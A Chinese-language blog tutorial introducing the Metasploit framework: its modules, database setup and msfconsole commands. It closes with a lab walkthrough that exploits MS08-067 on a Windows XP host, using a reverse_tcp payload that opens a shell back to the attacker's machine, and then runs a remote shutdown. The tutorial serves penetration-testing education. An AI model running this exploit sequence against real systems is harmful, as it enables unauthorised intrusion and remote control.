首页 > 编程语言 >Metasploit渗透测试框架基础

Metasploit渗透测试框架基础

时间:2022-10-16 23:57:49浏览次数:77  
标签:Metasploit 框架 show 渗透 数据库 漏洞 模块 payload

Metasploit渗透测试框架基础

本章内容概括∶

  • 1.1 Metasploit简介
  • 1.2 Metasploit 架构介绍
  • 1.3 Metasploit技术功能模块
    1.4 Metasploit基本使用和控制台命令

1.1 Metasploit简介

1.1.1 Metasploit框架

渗透测试者的困扰∶讲课不要说这个好,哪个不好。需要掌握数百个工具软件,上千个命令参数,实在记不住。新出现的漏洞POC/EXP有不同的运行环境要求,准备工作繁琐。大部分时间都在学习不同工具的使用习惯,如果能统一就好了,进而Metasploit就产生了。

PoC,全称”Proof of Concept”,中文“概念验证”,常指一段漏洞证明的代码。

EXP,全称”Exploit”,中文“利用”,指利用系统漏洞进行攻击的动作。

Metasploit框架是可以添加漏洞代码片段,就好比一个军火库,它里面有各种武器供我使用,当然也有新的武器被研发出来,放到武器库里面后,我也可以使用,这就是框架的好处,新的攻击代码可以比较容易的加入MSF框架供大家使用。

1.1.2 Metasploit简介

Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore 在 2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。

MSF目前是最流行,最强大,最具扩展性的渗透测试平台软件,2003年 H.D.Moore发布第一版,2007年用ruby语言重写了。说句题外话,咱们学过的shodan黑暗搜索引擎H.D.Moore也参与开发了。

访问官网:https://www.metasploit.com/

Metasploit目前是全球最常见的渗透测试框架,位居secTools排行榜第2位。它是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程等。

黑客工具排行榜:https://sectools.org/ .

1.1.3 Metasploit版本

社区版︰集成在kali 系统中,目前基于社区力量维护。早期版本需要先启动数据库再启动MSF,现在已经集成到msf里面了,直接一键启动。(足够我们学习使用了)

Pro版︰这块谈几个企业版的优势:

  • 1、企业版出的检测报告非常强大,给客户汇报起来很方便。
  • 2、AV免杀,社区版的免杀大家都知道了,但是企业级的免杀他们说过可以达到百分之九十甚至百分之百。
  • 3、IDS/IPS绕过(入侵检测系统/入侵防御系统)
  • 4、VPN Pivoting

1.2 Metasploit架构介绍

  1. REX∶基础功能库,用于完成日常基本任务,无需人工手动编码实现,处理socket连接访问,协议应答(http/sSL/SMB等),编码转换(XOR,Base64,Unicode ) .
  2. 技术模块∶5.0之后就增加了个evasion模块,现在一共是7个技术模块。一会给大家详细讲解。
  3. 插件∶插件可以调用外部一些渗透测试工具,例如:load nessus 就可以调用nessus 扫描软件。
  4. 接口:有msfconsole控制终端、msfcli命令行、msfgui图形化界面、armitage图形化界面和msfapi远程调用接口。
  5. 功能程序: metasploit还开发了一些可以直接运行的命令,比如msfpayload、msfencode以及msfvenom。

1.3 Metasploit技术功能模块

1.3.1 MSF技术功能模块分类

1.3.2 MSF技术模块的功能

技术功能模块(不是流程模块)∶有新的漏洞利用模块要放到这些模块下面进行调用;

1、auxiliary.
负责执行信息收集、扫描、嗅探,指纹识别、口令猜测和Dos攻击等功能的辅助模块。

2、exploits.
利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)。

3、payloads.
成功exploit之后,真正在目标系统执行的代码或指令。
分为3种类型的payload 分别是single, stages和stagers,shellcode是特殊的payload ,用于拿shell。
single : all-in-one。完整的payload,这些payload都是一体化的,不需要依赖外部的库和包。
stagers:目标计算机内存有限时,先传输一个较小的payload用于建立连接
stages:利用stagers建立的连接下载后续payload.

在这里插入图片描述

4、encoders.
对payload进行加密,躲避AntiVirus检查的模块

5、nops:
提高 payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区,这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。

6、post
后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作。

7、evasion
创建木马文件,个人感觉相当于msfvenom的一个子功能的存在。

1.4 Metasploit基本使用和控制台命令

1.4.1启动MSF

启动Metasploit框架需要运行Postgresql 数据库,现在只要运行Metasploit时都会自动启动Postgresql数据库。如果数据库没启动的话,可以手动开启,下面时管理数据库的一些命令。

查看postgresql数据库端口是否有监听

#两种查看端口的方法
root@piloteer101:~# lsof -i :5432
root@piloteer101:~# netstat -pantu |grep 5432

没有结果证明没监听,没监听就是没启动数据库。

手动启动数据库.

root@kali:~# systemctl start postgresql
root@kali:~# systemctl enable postgresql#设置成开机启动数据库

数据库命令

msfdb init   #启动并初始化数据库
msfdb reinit #删除并重新初始化数据库
msfdb delete #删除数据库并停止使用它
msfdb start  #启动数据库
msfdb stop   #停止数据库
msfdb status #检查服务状态.
msfdb run    #启动数据库并运行msfconsole.

Msfconsole接口启动命令:最流行的用户接口,几乎可以使用全部MSF功能,控制台命令支持TAB自动补全,支持外部命令的执行(系统命令等)

启动msfconsole -q / -v参数
-q #安静的开启·
-v #版本信息,其他参数就不做介绍了,大家可以用-h查看

1.4.2更新MSF(尽可能在新版本的kali系统上使用)。

先更新

root@kali:~#apt install metasploit-framework

启动

1.4.3 Metasploit基本使用

-banner:版本信息

每回启动banner得到的banner信息都不一样

-help∶显示msfconsole可以使用的命令。help <command>,显示某一命令的用法。

connect:可以理解成MSF中的nc命令,可以使用connect -h查看详细用法。

msf5 > connect
Usage: connect [options] <host> <port>.
msf5 > connect 192.168.1.1 80
[*]Connected to 192.168.1.1:80
get /

show: 用show命令查看msf提供的资源。在根目录下执行的话,由于有些模块资源比较多,需要执行show命令要较长的时间

show options/payloads/targets/evasion/missing/

search:搜索模块﹔简单搜索∶例: seach ms10-046。

cd /usr/share/metasploit-framework/modules/exploits/windows/browser
ls ms10_046_shortcut_icon_dllloader.rb

多条件搜索缩小范围: search name:mysql type:exploit platform:linux
search name.mysql/ platform:mysql /cve:2015/ path/ type:auxiliary/author:aaron等。

use : search找到模块后,用use使用模块.

use exploit/windows/smb/ms08_067_netapi

用use使用一个模块后,可以使用show options查看我们需要配置的选项、使用show targets选择目标主机系统、使用show payloads选择payload、使用show advanced查看高级参数、使用show evasion查看用来做混淆、逃避的模块。

set/setg:设置参数,比如要渗透的主机IP、payload等。我们可以用show missing查看没有设置的参数;setg是设置全局变量,避免每个模块都要输入相同的参数

unset/unsetg:取消设置参数。unsetg是取消设置的全局变量.

save:设置的参数在下一次启动的时候不会生效,可以用save保存我们使用过程的设置。

/root/.msf4/config        cat到文件进行查看

check:检查目标是否真的存在这个漏洞,大部分模块没有check功能

run/exploit:攻击

jobs/kill:杀死进程

session:建立会话

直接搜某个模块,然后使用模块

利用ms08-067漏洞远程控制
XP——192.168.98.131
利用ms08-067漏洞远程控制131
将playload放在被攻击的主机上执行
结果反弹回kali

search ms08-067
use exploit/windows/smb/ms08_067_netapi

set RHOST 192.168.98.131
show target
set target 34 # 指定语言版本
show playloads
set payload windows/shell/reverse_tcp  # 目标机上回连到kali
set lhost 192.168.98.161 


show options
exploit
show options
exploit # 前台执行,直接进入shell
exploit -j # 后台执行,即使拿到shell,也不进入shell
sessions -i # 交互

shutdown -r
shutdown -a  # 撤销

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

我也不知道为什么要对应set target 34 简体中文

标签:Metasploit,框架,show,渗透,数据库,漏洞,模块,payload
From: https://www.cnblogs.com/tavee/p/16797647.html

相关文章

  • 忙完了camunda这个框架的一个运行demo
    这周把企业微信和camunda这个的大概都看了下感觉时间逐渐掌控了起来了不过还有很多事情没有安排去做现在刷了下统计学听了前辈的忠告要把学到的都融合起来比如我学统......
  • [架构之路-46]:目标系统 - 系统软件 - Linux OS硬件设备驱动-UIO用户空间IO驱动框架与
    目录​​第1章用户空间IO驱动概述​​​​1.1概述​​​​1.2UIO的本质​​​​1.3UIO的应用场景​​​​1.4 为什么我们要把I/O放在用户空间呢? ​​​​第2章 如......
  • 一篇文章带你掌握主流办公框架——SpringBoot
    一篇文章带你掌握主流办公框架——SpringBoot在之前的文章中我们已经学习了SSM的全部内容以及相关整合SSM是Spring的产品,主要用来简化开发,但我们现在所介绍的这款框架—......
  • vue框架不同构建版本的理解
    例如拿vue框架来说官网对于VUE不同构建版本的解释UMDCommonJSESModule(基于构建工具使用)ESModule(直接用于浏览器)完整版vue.jsvue.common.jsvue.......
  • 好用的Go框架-随时更新
    平时使用的Go包积累数据库相关要使用redis去做多列的排序真的比较困难,这里使用ali提供的TairZset可以做到多列排序https://github.com/alibaba/TairZset......
  • ELK 不香了?试试接入这款更轻量的日志框架,真的很省心!
    当我们公司内部部署很多服务以及测试、正式环境的时候,查看日志就变成了一个非常刚需的需求了。是多个环境的日志统一收集,然后使用Nginx对外提供服务,还是使用专用的日志收......
  • Metasploit训练基础-数据库模块
    数据库当今最常见的数据库通常以行和列的形式将数据存储在一系列的表中,支持用户便捷地访问、管理、修改、更新、控制和组织数据。另外,大多数数据库都使用结构化查询语言(SQ......
  • 动态线程池框架 hippo4j 源码解析
    hippo4j是一个动态管理和监控线程池的开源框架,它有两种运行模式:轻量级依赖配置中心以及无中间件依赖版本。文档地址参见https://hippo4j.cn/docs/user_docs/intro其中......
  • WPF基于Prsim框架的学习
    Prism框架代码:前后端分离,依赖注入IOC,不是基础应用实战数据库:服务器数据SqlSever、本地缓存Sqlite数据库的添加:去程序包控制台先使用字符串add—migration—表名然后upd......
  • 强大的爬虫框架 Scrapy
    本节来介绍一个强大的爬虫框架Scrapy。Scrapy是一个基于Twisted的异步处理框架,是纯Python实现的爬虫框架,其架构清晰,模块之间的耦合程度低,可扩展性极强,可以灵活完成各......